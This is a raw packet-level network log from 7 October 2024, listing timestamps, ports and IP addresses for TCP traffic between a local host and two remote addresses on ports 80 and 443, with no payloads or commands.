Oct 7, 2024 19:33:15.904179096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904191017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904194117 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904205084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904208899 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904227972 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904256105 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904258013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904270887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904280901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904292107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904304981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904309988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904316902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904330969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904334068 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904342890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904346943 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904373884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904401064 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904531002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904542923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904553890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904566050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904577017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904580116 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904588938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904601097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904607058 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904613972 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904620886 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904628038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904640913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904645920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904659033 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904685020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904685974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904699087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904712915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904723883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904723883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904736996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904738903 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904757023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904759884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904779911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904783964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904798985 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904804945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904810905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904820919 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904824018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904835939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904836893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904850006 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904851913 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904869080 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904905081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.904922962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904937029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904948950 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904963017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904978037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904989004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.904990911 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.905002117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.905014038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.905024052 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.905041933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.905042887 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.905056000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.905059099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.905067921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.905080080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.905086040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.905093908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.905111074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.905126095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.905313015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.905324936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.905337095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.905348063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.905359983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.905365944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.905373096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.905394077 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.905405045 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.905997038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906008959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906021118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906032085 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906039953 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.906044960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906058073 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906070948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906081915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.906111002 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.906140089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906152010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906163931 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906174898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.906176090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906196117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906202078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.906208992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906223059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906234026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.906244993 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.906258106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.906281948 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.933118105 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.933212996 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.933346033 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.933402061 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.933422089 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.933434010 CEST	49734	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.933439016 CEST	443	49734	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.938868999 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.938905001 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.939191103 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.939398050 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.939420938 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.983493090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983513117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983524084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983598948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983611107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983623028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983628988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983649015 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.983649015 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.983649015 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.983685970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.983756065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983768940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983781099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983793020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983803988 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.983808041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983820915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983820915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.983831882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.983834982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.983850002 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.983870029 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.986164093 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.986227036 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.986685991 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.986828089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.986867905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.986880064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.986913919 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.986942053 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.986944914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.986957073 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.986968994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.986980915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.986995935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.986995935 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.987011909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.987021923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.987025976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.987039089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.987039089 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.987063885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.987087965 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.987133980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.987147093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.987150908 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.987150908 CEST	49735	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.987159014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.987170935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.987170935 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.987183094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.987183094 CEST	443	49735	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.987188101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.987195969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.987209082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.987212896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.987221003 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.987231970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.987238884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.987257004 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.987267971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989499092 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989511013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989521980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989531994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989542961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989553928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989554882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989567041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989579916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989588976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989593029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989603996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989603996 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989615917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989631891 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989636898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989649057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989650965 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989660978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989675045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989686966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989698887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989706039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989794016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989805937 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989818096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989825010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989828110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989825010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989825010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989825010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989850998 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989857912 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989857912 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989865065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989876032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989882946 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989892960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989892960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989907026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989909887 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989918947 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989932060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989942074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989944935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.989970922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.989993095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.990103006 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990114927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990125895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990139008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990149975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990150928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.990161896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990173101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990179062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.990190029 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.990219116 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.990744114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990789890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990792036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.990803003 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990830898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.990832090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990844965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990844965 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.990879059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990881920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.990890980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990906954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990917921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990921021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.990932941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.990947008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.990971088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991106987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991118908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991130114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991141081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991152048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991156101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991163969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991177082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991183043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991189003 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991199970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991204023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991214991 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991242886 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991250038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991261959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991272926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991285086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991286039 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991297007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991311073 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991313934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991326094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991338015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991343975 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991349936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991358042 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991362095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991378069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991401911 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991477013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991489887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991499901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991512060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991523981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991527081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991535902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991544008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991549015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991559982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991575003 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991580009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.991591930 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991605997 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.991631031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.998007059 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.998037100 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.998220921 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.998393059 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.998411894 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:16.070522070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070568085 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.070647001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070658922 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070693970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.070787907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070801020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070812941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070823908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070837021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.070848942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070849895 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.070863008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070875883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.070883989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070888996 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.070897102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070908070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070919037 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.070919037 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.070929050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070934057 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:16.070949078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:16.070955992 CEST	49718	80	192.168.2.7	46.8.231.109
